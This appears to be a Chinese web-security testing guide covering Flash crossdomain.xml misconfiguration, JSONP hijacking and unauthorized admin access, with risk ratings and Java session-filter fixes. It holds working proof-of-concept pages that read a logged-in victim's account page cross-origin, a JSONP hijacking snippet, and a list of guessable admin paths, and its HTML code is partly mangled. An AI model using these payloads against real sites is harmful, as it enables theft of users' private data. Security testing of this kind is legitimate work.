漏洞描述:flash跨域通信,依据的是crossdomain.xml文件。该文件配置在服务端,一般为根目录下,限制了flash是否可以跨域获取数据以及允许从什么地方跨域获取数据。举个例子:
1、www.a.com域下不存在crossdomain.xml文件,则不允许除了www.a.com域之外的其他任何域下的flash进行跨域请求。
2、www.a.com域下存在crossdomain.xml文件,如若配置 allow-access-from 为www.b.com,则只允许www.b.com域下的flash进行跨域请求,以及来自自身域www.a.com的网络请求。 crossdomain.xml需严格遵守XML语法,有且仅有一个根节点cross-domain-policy,且不包含任何属性。在此根节点下只能包含如下的子节点:
site-control
allow-access-from
allow-access-from-identity
allow-http-request-headers-from
如果crossdomain.xml文件配置allow-access-from为*,将允许任何域下的flash进行跨域请求。
测试方法: 下面列举一个具体的利用场景:
http://www.xxx.com/crossdomain.xml,文件内容如下图所示:
利用开源的FlashHTTPRequest,下载地址:https://github.com/mandatoryprogrammer/FlashHTTPRequest,FlashHTTPRequest,使用方法参考README。
在本地服务器编写一个HTML页面,嵌入FlashHTTPRequest.swf,此页面的目的是获取受害者的账号设置页面:http://www.xxx.com/user-setting,源代码如下:
- html>
-
- <html lang="en">
-
- <head>
-
- <meta charset="utf-8"/>
-
- <script src="flashhttprequest.js">script>
-
- <script>
-
- var res="";
-
- function setres(data){ //将返回结果打印至页面中
-
- window.res=data;
-
- //console.log(data);
-
- document.write(data);
-
- }
-
- function onhook() {
-
- FlashHTTPRequest.open('GET', 'http://www.xxx.com/user-setting', '', 'setres' );
-
- }
-
- script>
-
- head>
-
- <body>
-
- <div id="flashBridge">div>
-
- body>
-
- html>
登录该网站后,访问构造好的HTML页面:http://127.0.0.1/crossdomain/index.html,页面内容是该网站的账号设置页面,如下图所示:
由此也可以构造CSRF攻击……
风险分析:攻击者通过如下攻击过程可获取用户敏感信息:
风险等级:
【中危】:可获取数据
【低危】:allow-access-from属性为*
【低危】:allow-http-request-headers-from属性为*
【低危】:site-control标签的permitted-cross-domain-policies属性为 all
修复方案:限制跨域请求来源,即设置allow-access-from的值,只允许可信域的flash跨域请求。
注意事项:暂无
漏洞描述:当某网站通过 JSONP 的方式来传递用户认证后的敏感信息时,攻击者通过构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。
测试方法:一个典型的 JSON劫持攻击代码:
- function test(v){
- alert(v.username);
- }
- <script src="http://www.xxx.com/?o=sso&m=info&func=test">script>
当被攻击者在登录www.xxx.com网站的情况下访问了该网页时,那么用户的隐私数据(如用户名,邮箱等)可能被攻击者劫持。
风险分析:攻击者可利用该漏洞结合社会工程学,诱导用户点击某个精心构造的页面,从而达到窃取用户敏感信息的目的。
风险等级:
【高危】:可获取敏感数据
【中危】:可获取普通数据
修复方案:建议从以下几个方面进行防御:
注意事项:暂无
漏洞描述:未授权访问漏洞,是在攻击者没有获取到登录权限或未授权的情况下,或者不需要输入密码,即可通过直接输入网站控制台主页面地址,或者不允许查看的链接便可进行访问,同时进行操作。
测试方法:
风险分析:攻击者猜测管理后台地址或利用已知的访问地址,尝试在未登录的情况下直接访问,常见的后台登录地址有:admin.jsp、index.jsp、main.jsp、left.jsp、right.jsp、top.jsp等。攻击者进入管理后台后可修改Web应用程序设置,利用后台对上传文件过滤不严的缺陷,上传webshell等实施恶意操作。
风险等级:
【高危】:认证模式可绕过,不登录即可通过 URL 或其他方式访问登录后页面
修复方案:常见的修复方法:在系统中,加入用户身份认证机制或者tonken验证,防止可被直接通过连接就可访问到用户的功能进行操作,简而言之,一定对系统重要功能点增加权限控制,对用户操作进行合法性验证,下列为针对常见的JSP语言编写的网站的安全修复方案:
1、采用JAVA过滤器技术,对/pages下所有URL进行登录状态检查,通过session.getAttribute()方法从session中获取登录成功时存入session中的身份标识,判断客户端传递过来的身份标识是否与session中保存的一致,不一致则跳转到登录页面。关键代码如下:
- //从session里取的用户名信息
-
- String username = (String) session.getAttribute("userID");
-
- //getAttribute中变量根据实际变量传入。
-
- //判断如果没有取到用户信息,就跳转到登录页面
-
- if ((username == null) || "".equals(username)) {
-
- //跳转到登录页面
-
- res.sendRedirect("http://" + req.getHeader("Host") +"/login_oa.jsp");}
-
- else {
-
- //已经登录,继续此次请求
-
- chain.doFilter(req, res); }}
2、进行权限判断,以下代码为过滤器程序,通过会话获取用户身份信息,进行权限判断等操作:
- //在配置文件中设置过滤器
-
- <filter>
-
- <filter-name>SessionFilterfilter-name>
-
- <filter-class>com.nsfocus.frame.filter.SessionFilterfilter-class>
-
- filter>
-
- <filter-mapping>
-
- <filter-name>SessionFilterfilter-name>
-
- <url-pattern>/pages/*url-pattern>
-
- filter-mapping>
-
- <filter>
- //后台过滤程序
-
- public void doFilter(ServletRequest request,
- ServletResponse response,FilterChain chain) throws
-
- IOException, ServletException {
-
- HttpServletRequest req = (HttpServletRequest) request;
-
- HttpServletResponse res = (HttpServletResponse) response;
-
- HttpSession session = req.getSession(true);
-
- //从session里取的用户名信息
-
- String username = (String) session.getAttribute("userID");
-
- //getAttribute中变量根据实际变量传入。
-
- //判断如果没有取到用户信息,就跳转到登录页面
-
- if ((username == null) || "".equals(username)) {
-
- //跳转到登录页面
-
- res.sendRedirect("http://" + req.getHeader("Host") +"/login_oa.jsp");}
-
- else {
-
- //已经登录,继续此次请求
-
- chain.doFilter(req, res); } }
-
- public void destroy() { }
-
- }
注意事项:暂无